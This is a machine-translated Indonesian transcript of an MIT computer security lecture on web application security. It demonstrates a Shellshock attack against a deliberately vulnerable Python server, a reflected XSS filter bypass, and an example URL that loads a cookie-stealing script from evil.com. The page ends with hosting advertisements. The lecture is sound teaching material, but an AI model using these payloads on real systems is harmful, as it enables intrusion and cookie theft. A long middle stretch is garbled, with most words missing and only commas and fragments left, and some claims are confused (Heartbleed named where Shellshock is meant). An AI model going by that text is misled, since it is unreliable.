Kursus MIT "Keamanan Sistem Komputer". Kuliah 9: Keamanan Aplikasi Web, Bagian 1

Institut Teknologi Massachusetts. Kursus Kuliah # 6.858. "Keamanan sistem komputer." Nikolai Zeldovich, James Mickens. Tahun 2014

Keamanan Sistem Komputer adalah kursus tentang pengembangan dan implementasi sistem komputer yang aman. Ceramah mencakup model ancaman, serangan yang membahayakan keamanan, dan teknik keamanan berdasarkan pada karya ilmiah baru-baru ini. Topik meliputi keamanan sistem operasi (OS), fitur, manajemen aliran informasi, keamanan bahasa, protokol jaringan, keamanan perangkat keras, dan keamanan aplikasi web.

Kuliah 1: “Pendahuluan: model ancaman” Bagian 1 / Bagian 2 / Bagian 3
Kuliah 2: "Kontrol serangan hacker" Bagian 1 / Bagian 2 / Bagian 3
Kuliah 3: “Buffer Overflows: Exploits and Protection” Bagian 1 / Bagian 2 / Bagian 3
Kuliah 4: “Pemisahan Hak Istimewa” Bagian 1 / Bagian 2 / Bagian 3
Kuliah 5: "Dari mana sistem keamanan berasal?" Bagian 1 / Bagian 2
Kuliah 6: “Peluang” Bagian 1 / Bagian 2 / Bagian 3
Kuliah 7: “Kotak Pasir Klien Asli” Bagian 1 / Bagian 2 / Bagian 3
Kuliah 8: “Model Keamanan Jaringan” Bagian 1 / Bagian 2 / Bagian 3
Kuliah 9: "Keamanan Aplikasi Web" Bagian 1 / Bagian 2 / Bagian 3

Mari kita mulai kuliah kedua dalam seri cerita keamanan web kami yang luar biasa. Saya ingin segera melanjutkan ke demonstrasi contoh cepat, karena Anda tahu bahwa demo kami hampir tidak pernah berhasil. Semoga Anda tidak melihat layar kosong hari ini.

Ide dasarnya adalah saya pertama-tama ingin menunjukkan kepada Anda contoh kesalahan Shellshock yang mungkin sudah pernah Anda dengar. Ini adalah topik yang cukup populer dalam literatur keamanan komputer.



Orang-orang memberikan peringkat Heartbleed error peringkat maksimum 10 pada skala bahaya 10. Mereka menganggap ini sebagai kesalahan paling berbahaya yang harus dilindungi oleh sistem keamanan. Saya pikir itu akan menjadi ide bagus untuk menunjukkan kepada Anda sejarah yang hidup dari masalah ini yang dapat Anda ceritakan kembali kepada orang tua Anda sehingga mereka mengerti bahwa belajar di Massachusetts Institute of Technology bernilai uang.

Jadi apa ide utama kesalahan Shellshock? Ini adalah contoh yang sangat bagus mengapa sangat sulit untuk membuat aplikasi web yang aman yang menjangkau berbagai teknologi, beberapa bahasa, beberapa sistem operasi, dan seterusnya dan seterusnya. Oleh karena itu, ide utamanya adalah Shellshock menggunakan fakta bahwa penyerang dapat membuat permintaan http khusus ke server dan mengelola header dalam permintaan ini. Saya menulis contoh yang sangat sederhana di papan tulis.
Misalkan penyerang ingin mengirim permintaan GET ke beberapa CGI tentang topik mencari kucing, karena inilah yang selalu dicari orang di Internet (hanya bercanda). Oleh karena itu, akan ada tanda tanya, dan beberapa jenis header host standar dengan URL, misalnya, example.com:

DAPATKAN /querry.cgi? search = kucing
Host: example.com
Header khusus: Nilai kustom

Sekarang perhatikan bahwa seorang penyerang juga dapat menentukan header khusus. Misalnya, saya ingin menemukan beberapa jenis header khusus aplikasi yang disebut Custom-header untuk menentukan beberapa nilai Kustom di sana, karena aplikasi web dapat menentukan beberapa fungsionalitas yang tidak dapat diekspresikan menggunakan header HTTP standar yang telah ditentukan sebelumnya. Jadi sementara semua ini sepertinya tidak berbahaya.
Tetapi pada akhirnya, yang terjadi adalah banyak dari server web ini untuk memproses skrip CGI akan benar-benar menerima nilai-nilai khusus ini dari header Nilai-kustom dan menggunakannya untuk mengatur variabel lingkungan Bash. Yaitu, mereka akan menggunakan header-Kustom ini untuk membuat header kustom untuk nama variabel Bash, mereka akan mengambil nilai-Kustom yang disediakan oleh penyerang dan menggunakannya sebagai nilai variabel Bash. Setelah variabel ini disetel, server CGI akan melakukan beberapa pemrosesan konteks lingkungan ini.

Dan ini buruk karena server web tidak boleh mengambil nilai acak dari hal-hal “kotor” acak ini. Jadi, dalam contoh spesifik kesalahan Shellshock, yang terjadi adalah jika Anda memberi variabel berbahaya nilai variabel Bash, bentuk kegilaan mungkin dimulai.



Pada dasarnya, definisi fungsi yang berbahaya ini dipilih dalam bahasa skrip Bash, dan Anda tidak boleh diganggu oleh spesifikasi proses ini. Tetapi kenyataannya adalah bahwa jika parameter Bash diatur dengan benar, bagian dari / bin / id ini tidak akan dieksekusi. Jadi, Anda hanya mendefinisikan beberapa jenis fungsi bodoh yang tidak melakukan apa-apa dan mengakhiri proses permintaan.

Namun, urutan karakter ini membingungkan parser Bash, tampaknya tersandung pada omong kosong ini yang terletak setelah slash. Dan kemudian dia berkata: "Oh, saya bisa terus menganalisis dan menjalankan beberapa perintah di sini, kan?" Dan dalam hal ini, ia hanya menjalankan perintah bin / id, yang menampilkan beberapa informasi tentang pengguna. Tetapi esensi dari kerentanan adalah bahwa alih-alih bin / id, Anda dapat menempatkan kode apa pun di sini!

Saya akan memberikan contoh yang sangat sederhana yang akan Anda lihat di layar. Ini adalah server Python yang sangat sederhana, yang termudah yang dapat Anda bayangkan. Saya menggunakan metode GET di sini. Metode ini berarti mengulangi semua header HTTP dalam permintaan.





Di sini, di header kita memiliki nilai untuk variabel K dan nilai untuk permintaan V. Dalam hal ini, GET hanya mencetak header yang ditemukannya.

Dan kemudian dia akan melakukan sesuatu yang sangat bodoh - untuk membuat panggilan sistem dan mengatur nilai shell langsung ke nilai yang ditunjukkan di header. Jadi ini adalah seluruh akar kerentanan.

Jika saya pergi ke tab berikutnya dan meluncurkan server web korban, kami melihat bahwa dia siap untuk menerima permintaan.



Lalu saya bisa menulis klien Shellshock khusus saya - itu terletak di tab berikutnya.



Faktanya, ini cukup sederhana - saya hanya mendefinisikan salah satu dari garis attack.str ini, jadi pertama-tama memiliki nilai "melengkung". Dan kemudian saya hanya tahu bahwa di sisi server semuanya sekarang akan dilakukan sesuai dengan keinginan saya.

Dalam hal ini, saya menggunakan sesuatu yang tidak berbahaya - gema "Saya memiliki mobil Anda." Tapi mungkin ada apa saja. Anda dapat menjalankan Bash shell lain dengan parameter "echo ATTACKER CMD", yaitu perintah penyerang nyata, yang bisa sangat berbahaya.

Jadi, saya mengatur header dan permintaan pengguna, dan kemudian hanya menggunakan Python untuk membuat koneksi HTTP dan hanya mengirimnya ke server. Jadi apa yang terjadi pada akhirnya? Saya menjalankan klien Shellshock saya di sini.



Anda lihat, kesalahan 404 muncul di sini, karena tidak masalah file mana yang saya minta, saya hanya memasukkan beberapa jenis indeks di sini yang tidak ada HTML. Tetapi jika Anda melihat di sini, pada tab kedua, di mana kami menunjukkan server web korban yang setuju untuk terhubung melalui port 8282, kita akan melihat bahwa dia menerima pesan saya "Saya memiliki mobil Anda" dan ATTACKER CMD.



Karena segera setelah server korban menerima tajuk ini, ia segera mengatur nilai-nilai variabel Bash, dan sebagai hasilnya, perintah CMT ATTACKER diluncurkan. Apakah itu jelas?

Hadirin: apakah ini terjadi jika suatu program dimulai dengan judul seperti itu?

Profesor: ya. Dengan demikian, spesifikasi cara kerja serangan tergantung pada tampilan server web Anda, misalnya, apakah Anda bekerja dengan Apache atau tidak. Contoh ini agak dibuat-buat, karena saya benar-benar membuat shell Bash lain, mengatur variabel shell, dan baru kemudian memulai proses. Tetapi Anda dapat membayangkan bahwa jika Anda membuat proses lain untuk setiap koneksi yang masuk, Anda dapat mengatur variabel lingkungan secara langsung.

Hadirin: Jadi, jika Anda kembali ke kode server web, tampaknya ada kerentanan yang jauh lebih buruk daripada Shellshock. Karena Anda dapat membuat panggilan sistem dan menjalankan perintah hanya dengan mengatur header khusus ke sesuatu yang lain, dan saya tidak perlu menggunakan kesalahan Shellshock dalam contoh ini.

Profesor: ya, itu benar, di server web khusus ini, yang saya tulis hanya sebagai contoh, ada hal yang tidak dapat dipercaya untuk apa pun. Tetapi jika di sini kita tidak memiliki Python, tetapi Apache, maka kita dapat langsung mengatur nilai lingkungan untuk layanan tertentu menggunakan parameter nth set. Tetapi ada server seperti ini yang membuat proses terpisah dan melakukan sesuatu yang sangat mirip dengan contoh yang diberikan.



Contoh lain yang ingin saya berikan adalah contoh skrip lintas situs. Bug Shellshock adalah semacam contoh betapa pentingnya desinfeksi konten. Kami membahas fakta bahwa Anda tidak boleh hanya menerima masukan dari orang-orang acak dan menggunakannya langsung dalam tim jenis apa pun.

Skrip lintas situs adalah contoh lain yang menunjukkan mengapa ada yang salah. Dalam contoh ini, saya memiliki server CGI sederhana yang ditulis dengan Python.



Ini adalah pegangan yang dieksekusi ketika permintaan diterima dari klien. Saya mencetak beberapa tajuk di sini untuk jawabannya, dan jawaban saya adalah teks HTML. Ternyata, browser memiliki beberapa mekanisme keamanan untuk mencoba dan mencegah serangan yang akan saya tunjukkan kepada Anda. Oleh karena itu, saya memungkinkan untuk menonaktifkan beberapa mekanisme perlindungan ini dengan menempatkan bilah judul ini di awal.

Script CGI kemudian mendapatkan akses ke semua bidang dan permintaan CGI, dimulai dengan bentuk garis = cgi.FieldStorage (). Bayangkan bahwa segala sesuatu yang terletak di baris setelah tanda tanya ini mewakili judul dan parameter dari contoh kita:

DAPATKAN /querry.cgi? search = kucing
Host: example.com
Header khusus: Nilai kustom

Selanjutnya, skrip cgi melakukan hal yang sangat sederhana - ia segera mencetak nilai sesuatu yang berasal dari penyerang. Ini adalah ide dasar yang sama, dan ini adalah ide yang buruk, karena fungsi cetak ini mencetak nilai yang dihasilkan langsung ke dalam HTML itu sendiri.

Di sini, hal-hal berikut mungkin terjadi. Misalkan saya memiliki banyak pertanyaan yang ingin saya jalankan. Dalam permintaan pertama ini, saya cukup mengatur nilai pesan ke Halo, yaitu, saya pergi ke alamat baris pertama.



Oleh karena itu, jika saya membuka halaman saya, saya akan melihat kata halo di atasnya, karena server langsung menerima apa yang saya sampaikan dan mencetak "halo". Jadi tidak ada kejutan.



Saya mengerti bahwa saya dapat benar-benar mengirimkan kode HTML acak di sana, dan jika saya mengatur format tajuk ke h1, yaitu, saya akan mengirim baris kedua yang berakhir di halo ke server, itu juga akan berubah pada halaman - Anda lihat, gaya kata telah berubah menjadi gaya tajuk h1. Jadi berfungsi, saya mengetik nilai langsung ke halaman.



Bagus, sekarang kita dalam bisnis, dan itu keren. Sekarang mari kita tambahkan kode JavaScript, yaitu, kita akan menjalankan baris ketiga yang disiapkan oleh saya di browser, di mana skrip tertentu dimasukkan, yang berjalan setelah parameter peringatan ("XSS").

Jadi sekarang kita melihat layar kosong. Tampaknya kami tidak berhasil, karena tidak ada output yang terlihat, dan saya tidak melihat adanya peringatan.



Tetapi jika saya melihat output dari server web, saya akan melihat bahwa server web itu sendiri sebenarnya tidak menerima tag skrip akhir ini. Tampaknya browser itu sendiri entah bagaimana mendeteksi sesuatu yang jahat, meskipun saya mencoba menonaktifkan filter XSS. Jadi ini cukup menarik. Nanti kita akan melihat lebih dekat pada mekanisme perlindungan ini, tetapi untuk sekarang saya akan perhatikan bahwa browser sedang mencoba untuk menahan serangan skrip lintas situs.

Tetapi Anda dapat mengambil keuntungan dari fakta bahwa HTML, CSS dan JavaScript adalah bahasa yang sangat kompleks, dan mereka ditulis dengan cara yang sulit dipahami. Saya akan mengambil keuntungan dari ini dan menggunakan baris terakhir, keempat dari entri saya, menempatkannya di bilah alamat browser. Ini adalah string serangan yang berisi URL yang tidak valid. Ini termasuk URL gambar <IMG "" "> dan tag skrip"> dan sebenarnya tidak dapat diuraikan. Oleh karena itu, setelah menerima garis seperti itu, browser menjadi bingung dan menampilkan informasi di layar: "Halaman di 127.0.0.1:8282 mengatakan: XSS". Dengan demikian, deteksi skrip lintas situs bawaan tidak benar-benar berfungsi.



Jika kita mengklik tombol "OK", kita hanya akan memiliki halaman kosong. Tetapi jika Anda melihat isinya, kita akan melihat kutipan dan tanda kurung yang tidak dapat dipahami yang datang entah dari mana.



Namun, dari sudut pandang penyerang, halaman yang rusak tidak masalah, karena kami melihat peringatan, yang berarti bahwa kode itu diluncurkan. Dan itu bisa digunakan untuk mencuri kue atau melakukan sesuatu seperti itu.

Hadirin: apa aspek lintas situs?

Profesor: Aspek lintas situs adalah bahwa jika penyerang dapat meyakinkan pengguna untuk pergi ke URL, seperti dalam contoh ini, maka dia adalah orang yang menentukan konten pesan. Dialah yang menciptakan peringatan XSS atau sesuatu seperti itu. Pada dasarnya, yang terjadi adalah halaman korban mengeksekusi kode atas nama seseorang yang tidak mengelola halaman ini.

Jadi, saya tunjukkan dua demonstrasi cepat pada dunia "kotor" tempat kita hidup. Jadi mengapa skrip lintas situs begitu umum? Mengapa masalah ini begitu penting? Alasannya adalah bahwa situs web menjadi lebih dan lebih dinamis dan mereka ingin meng-host beberapa konten yang dibuat pengguna atau memasukkan konten dari domain lain. Pikirkan, misalnya, tentang bagian komentar dari artikel berita, komentar ini berasal dari orang yang tidak dapat diandalkan - dari pengguna. Dengan satu atau lain cara, situs-situs ini harus mencari tahu apa aturannya untuk menggabungkan hal-hal tersebut.

Situs web dapat berisi dokumen pengguna, seperti dokumen Google atau Office 365. Semua dokumen ini berasal dari orang-orang yang tidak dapat diandalkan, tetapi entah bagaimana mereka perlu bergaul satu sama lain dan dengan infrastruktur hebat Google atau Microsoft.

Apa jenis skenario keamanan lintas-situs yang dapat kita gunakan? Salah satu jenis perlindungan adalah filter skrip lintas situs di peramban itu sendiri. Filter ini akan berusaha mendeteksi kemungkinan serangan skrip lintas situs. Dan kami melihat salah satu filter ini beraksi - ini adalah contoh ketiga dari skenario yang kami periksa.
Misalkan Anda memiliki URL foo.com/?q= <script src = "evil.com/cookie stealer.js">. Artinya, alamat ini menjalankan skrip yang mengarahkan pengguna ke situs jahat dan mencuri cookie darinya.



Jadi, browser akan menolak untuk mengeksekusinya dan trik penyerang ini tidak akan berfungsi. Alasannya sederhana - browser hanya memeriksa untuk melihat apakah ada <script> di URL ini dan, setelah menemukannya, melarang mengklik tautan ini. Dengan demikian, ini adalah heuristik yang sangat sederhana untuk mencari tahu apakah sesuatu yang berbahaya terjadi, karena tidak ada pengembang normal akan memasukkan hal-hal seperti itu ke alamat. Anda dapat mengonfigurasi opsi konfigurasi browser Anda untuk mengaktifkan atau menonaktifkan hal-hal seperti itu. Ini terkadang berguna untuk pengujian jika Anda hanya ingin dengan cepat dan tanpa banyak verifikasi masukkan beberapa data JavaScript. Tetapi biasanya pemeriksaan di browser ini diaktifkan secara default.

Misalnya, Chrome dan IE memiliki filter bawaan yang melihat nilai URL di bilah alamat dan mencari hal serupa. Dan jika mereka ada di sana, maka browser dapat mencoba untuk menghapusnya atau membuat sumber di dalam <> kosong. Ada banyak metode analisis heuristik yang didasarkan pada browser yang harus mendeteksi hal-hal seperti itu. Dan jika Anda melihat situs web OWASP, ada beberapa contoh penggunaan heuristik untuk mendeteksi skrip lintas situs dan contoh cara memintas filter ini.

Anda tahu, itu sangat lucu, karena pada awalnya sebagai contoh untuk kuliah kami, saya melakukan sesuatu yang mirip dengan ini, dan itu tidak berhasil. Kemudian saya melihat ke dalam lembar contekan OWASP dan menemukan opsi keempat yang berfungsi, itu adalah contoh dengan penguraian yang rusak dari alamat gambar img.

Jadi, masalah utama, yang tidak memungkinkan Anda untuk hanya mengandalkan filter peramban bawaan, adalah bahwa ada banyak cara yang berbeda untuk memaksa pengurai CSS dan HTML mengurai beberapa konten dengan cara yang salah. Jadi solusi tertanam tidak sempurna, mereka tidak mencakup semua kerentanan.

Hadirin: Tetapi bukankah browser bertanggung jawab untuk memeriksa hal-hal seperti itu?

Profesor: Maksud saya kasus ketika browser berada pada server proxy dan proxy melakukan sesuatu yang ditunjukkan dalam contoh ini. Yaitu, filter bawaan masuk akal, karena bisa ada banyak parser di dalam browser, dan filter ini digunakan untuk melindungi lapisan penangan di dalam browser.

Hadirin: Saya pikir kita dapat mengatakan bahwa itu adalah tanggung jawab pengembang web, bukan pengguna, untuk memeriksa hal-hal seperti itu.

Profesor: dalam arti tertentu, kita dapat mengatakan bahwa di Unix atau Windows ada juga proses yang harus dijaga oleh pengembang perangkat lunak, dan bukan pengguna, dan pengembang harus memastikan bahwa hal-hal ini tetap terisolasi. Namun pada kenyataannya, OS dan perangkat keras juga memainkan peran penting, karena kalau tidak, kita tidak bisa mempercayai program yang dibuat oleh pengembang acak. Tetapi pada dasarnya Anda benar. Bahkan, kerangka kerja seperti Django atau sesuatu yang serupa sedang mencoba untuk membantu Anda mengatasi beberapa masalah ini.

Dengan satu atau lain cara, filter bukan solusi ideal dan tidak dapat mencegah apa yang dikenal sebagai serangan skrip lintas situs persisten, atau XSS persisten. Ini adalah semacam refleksi, karena kode skrip hanya "hidup" di URL. Segera setelah pengguna menutup URL ini, serangan berakhir.

Tetapi bayangkan seorang pengguna telah menempatkan HTML jahat di bagian komentar di situs Anda. , . , .



, – . HTML- .

? - , . HTML, , . .

: , , , , - ?

: , . , — post. , , XML HTTP .

: , , …

: , , . , . - , .

, , .

, « HTTP », HTTP-only cookie. , , JavaScript cookie. , , , : «, , JavaScript, cookie»! - .

, , . , . , JavaScript cookie, - , , URL- - , , buy.com. , , , Ferrari, attacker, .



, JavaScript, cookie, , URL-. , CSRF , .

, , , . , , . , - , , , Google, Office 365 . . , Google googleusercontent.com. , Gmail . -, 25- .



? , - , google.com. , google.com. .

, – . , -, , . , . — Django. -, , -.



Django , , . – . CSS , . , . Django , : , .



-. , Django, Django : «, -, , , CGI». Django , , . - CGI0, , .

Namun, Django melakukan jauh lebih baik - ia mendisinfeksi konten pengguna, karena ia mengharapkan trik darinya. Itu hanya segera menempatkan nilai variabel nama di sini, dan mengkodekannya sedemikian rupa sehingga konten ini tidak pernah bisa keluar dari konteks HTML dan mengeksekusi kode JavaScript atau sesuatu seperti itu.

26:25 mnt

Kursus MIT "Keamanan Sistem Komputer". Kuliah 9: "Keamanan Aplikasi Web," Bagian 2


Versi lengkap dari kursus ini tersedia di sini .

Terima kasih telah tinggal bersama kami. Apakah Anda suka artikel kami? Ingin melihat materi yang lebih menarik? Dukung kami dengan melakukan pemesanan atau merekomendasikannya kepada teman-teman Anda, diskon 30% untuk pengguna Habr pada analog unik dari server entry-level yang kami buat untuk Anda: Seluruh kebenaran tentang VPS (KVM) E5-2650 v4 (6 Cores) 10GB DDR4 240GB SSD 1Gbps dari $ 20 atau bagaimana membagi server? (opsi tersedia dengan RAID1 dan RAID10, hingga 24 core dan hingga 40GB DDR4).

VPS (KVM) E5-2650 v4 (6 Cores) 10GB DDR4 240GB SSD 1Gbps hingga Desember secara gratis ketika membayar untuk jangka waktu enam bulan, Anda dapat memesan di sini .

Dell R730xd 2 kali lebih murah? Hanya kami yang memiliki 2 x Intel Dodeca-Core Xeon E5-2650v4 128GB DDR4 6x480GB SSD 1Gbps 100 TV dari $ 249 di Belanda dan Amerika Serikat! Baca tentang Cara Membangun Infrastruktur Bldg. kelas menggunakan server Dell R730xd E5-2650 v4 seharga 9.000 euro untuk satu sen?